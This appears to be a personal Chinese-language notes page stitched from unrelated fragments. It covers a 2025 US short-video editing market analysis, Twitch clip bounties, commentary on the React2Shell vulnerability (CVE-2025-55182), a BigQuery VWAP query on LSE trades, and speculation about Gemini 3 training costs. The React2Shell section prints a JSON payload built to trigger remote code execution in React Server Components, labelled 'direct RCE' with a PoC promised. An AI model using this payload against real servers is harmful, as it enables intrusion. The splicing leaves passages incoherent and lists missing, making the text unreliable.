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等待时机买入或者买入低估值的例如a d~ b e 这一类的
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2025年的美国数字媒体版图正在经历一场深刻的结构性变革。根据权威市场分析,全球视频编辑器市场规模在2025年已达到9.69亿美元,并预计将以4.1%的年复合增长率(CAGR)稳步攀升,至2034年将突破13.92亿美元 。这一宏观数据的背后,实际上掩盖了更为激进的细分市场增长——即“短视频内容服务”市场的爆发。传统的视频编辑软件市场增长平稳,但围绕视频制作、后期处理及内容再利用(Content Repurposing)的服务需求却呈现出指数级增长态势。
美国市场的核心驱动力在于消费者注意力的碎片化与流媒体消费的常态化。数据显示,美国流媒体服务的观看时长在近期增长了18%,这一趋势直接传导至后期制作环节,推动了对4K甚至8K高清剪辑工具和人才的需求 。更为关键的是,短视频(Short-form Video)不再仅仅是长视频的补充,它已演变为互联网流量的主宰。截至2025年,时长在一分钟以内的短视频预计将占据所有在线视频内容的80% 。TikTok、Instagram Reels和YouTube Shorts三大平台的日均上传量超过6.5亿条 ,这种海量的内容吞吐意味着背后需要庞大的剪辑劳动力支撑。
这种范式转移对“剪辑”的定义进行了重构。过去,视频编辑往往与电影制作、电视广播或高端广告相关联,是一项高门槛的专业技能。而在2025年的美国,剪辑已成为一种基础的“数字素养”和商业必需品。从财富500强企业到个人创作者,对视频内容的需求迫使编辑工具和人才市场迅速扩张。移动端优先的剪辑应用下载量激增27%,占据了所有剪辑工具下载量的36% ,这反映出内容生产的去中心化趋势。然而,随着观众审美疲劳的出现,单纯依靠模板化的粗糙剪辑已难以获得算法青睐,市场对具备叙事能力、视觉特效(VFX)技能及平台算法理解力的专业剪辑师的需求反而更加迫切。
美国的直播流媒体市场以Twitch为核心,YouTube Gaming和Kick紧随其后。对于数以百万计的主播(Streamers)而言,直播是一种“高投入、低留存”的内容形式。一场8小时的直播结束后,其录像(VOD)的点击率往往呈断崖式下跌。为了维持热度并吸引新流量(User Acquisition),将直播中的高光时刻(Highlights)分发到TikTok、YouTube Shorts和Instagram Reels已成为行业标准操作 。
然而,供需之间存在巨大的断层。大多数主播擅长实时互动和游戏操作,却缺乏时间和技能去回看数小时的素材并进行精细剪辑。与此同时,观众对切片质量的要求却在提升。早期的简单截取已无法满足需求,现在的观众期待的是经过精心编排、带有动态字幕和视觉特效的“微综艺”式切片。
在Twitch生态中,许多主播并不直接支付固定薪资,而是通过“社区众包”的方式获取切片。像Whop这样的平台,或者主播自己的Discord服务器,会发布“剪辑悬赏”。创作者提供素材,剪辑师制作并上传,根据视频在TikTok上的播放量来结算奖金或进行广告收入分成(Revenue Share) 。
如果把过去十年的 Web 攻击看作是“冷兵器时代”向“热兵器时代”的过渡,那么以 React2Shell (CVE-2025-55182) 和 Event Loop DoS (CVE-2025-55184) 为代表的这一波,标志着我们进入了**“生物武器时代”**。
为什么说是“进化”?我们可以从三个维度来剖析这次进化的本质:
<script>,WAF 看到尖括号就拦截。UNION SELECT,WAF 看到 SQL 关键字就报警。这几个 CVE 实际上给原本有些沉闷的 Web 安全圈(整天挖逻辑漏洞)打了一针兴奋剂,也指明了未来的对抗方向:
针对 CVE-2025-55182 及其变种,单纯的补丁已不足以提供全面防护。建议采取纵深防御策略:
child_process.exec 或 vm.runInContext 等高危函数的异常调用。React2Shell 漏洞不仅仅是一个代码错误,它暴露了”同构应用” (Isomorphic Apps) 的深层风险。当服务器端代码和客户端代码由同一套框架管理,且通过复杂的序列化协议交互时,信任边界变得模糊。 对于 Web3 应用,未来可能会出现架构上的回撤或分层:
数据表明,黑帽通过利用 React2Shell 等漏洞进行一次成功攻击的收益,可能超过一名白帽工程师 50 年甚至一生的薪资总和。这种极端的经济不对称(Arbitrage)将持续吸引顶尖技术人才流入黑产或灰产领域。为了应对这一挑战,Web3 领域的 Bug Bounty 奖金正在被迫提高,目前已有项目为关键漏洞提供最高 1000 万美元的赏金 ,但这仍难以完全抵消黑市的诱惑。
{
0: {
status: “resolved_model”,
reason: -1,
_response: {
_prefix: “console.log(‘RCE’)//”,
_formData: { get: “$1:then:constructor” },
},
then: “$1:then”,
value: ‘{“then”:”$B”}’,
},
1: “$@0”,
}
氛围编码 cve 2025-55182 直接rce
这又是一次对web3的考验,留下来的都是精英
稍后发布poc与补丁后的攻击路径
CVE-2025-55182
SELECT
RIC,
ROUND(SAFE_DIVIDE(SUM(Volume*Price),SUM(Volume)),3) AS VWAP,
COUNT(RIC) AS TradesCount,
SUM(Volume) AS TotalVolume,
ROUND(AVG(Volume),0) AS AvgTradeVolume,
MIN(Price) AS MinPrice,
MAX(Price) AS MaxPrice,
ROUND(SAFE_DIVIDE(100*(MAX(Price)-MIN(Price)),AVG(Price)),3) AS DeltaPricePercent,
ROUND(AVG(Price),3) AS AvgPrice
FROM
dbd-sdlc-prod.LSE_NORMALISED.LSE_NORMALISED
WHERE
RIC LIKE “%.L%”
AND (Date_Time BETWEEN TIMESTAMP(‘2025-09-04 00:00:00.000000’) AND
TIMESTAMP(‘2025-09-04 23:59:59.999999’))
AND Type=”Trade”
AND Volume >0
AND Price >0
AND NOT (Qualifiers LIKE ‘Off Book Trades%’)
AND NOT (Qualifiers LIKE ‘%Previous Day Trade%’)
AND NOT (Qualifiers LIKE ‘%CLS%’)
AND NOT (Qualifiers LIKE ‘U[ACT_FLAG1];U[CONDCODE_1]%’)
AND NOT (Qualifiers LIKE ’46—A—P—-[MMT_CLASS]’)
AND NOT (Qualifiers LIKE ’46-1-A—P—-[MMT_CLASS]’)
AND NOT (Qualifiers LIKE ’47—A—J—-[MMT_CLASS]’)
AND NOT (Qualifiers LIKE ’47—A—P—-[MMT_CLASS]’)
AND NOT (Qualifiers LIKE ‘%Auction%’)
GROUP BY
RIC
ORDER BY
TotalVolume DESC

总结 就是谷歌花了至少5-10亿美金得到了现在的多模态一体化的效果
阿里花了多少钱,零头 所以阉割了功能成本自然就低了 所以好的效果是用钱砸出来的
目前的ai生意是由广告在补贴,云业务在增长
这是一门不错的生意,不久的将来如果视频可以做实时推理
第一个要干掉的就是赔率行业 nba 足球 使用算法实时计算赔率差
然后下注 这是我想的到第一个需求,中国模型做不出来不是因为做不出来,而是因为不砸钱啊
截至 2025 年 12 月(即当前时间),Google 尚未公开披露 Gemini 3 模型的确切训练成本。
由于 Gemini 3 刚刚于 2025 年 11 月发布,通常这类具体的财务数据会在模型发布较长时间后,通过年度 AI 指数报告(如 Stanford AI Index Report)或详细的技术白皮书才会由第三方估算得出。
不过,根据已知的公开数据和行业趋势,我们可以通过对比其前代模型和竞品来进行合理的推测:
目前最确切的公开数据来自对 Gemini 1.0 Ultra(2023/2024年发布)的估算:
行业普遍认为,Gemini 3 的训练成本极有可能远超 1.91 亿美元,甚至可能达到 数亿美元(5亿-10亿美元量级)。理由如下:
虽然训练成本未知,但 Gemini 3 的使用定价也反映了其背后的高昂投入:
Google 现在的策略不是“立即盈利”,而是“防御性进攻”。
我只用ibkr 最多加个gcp





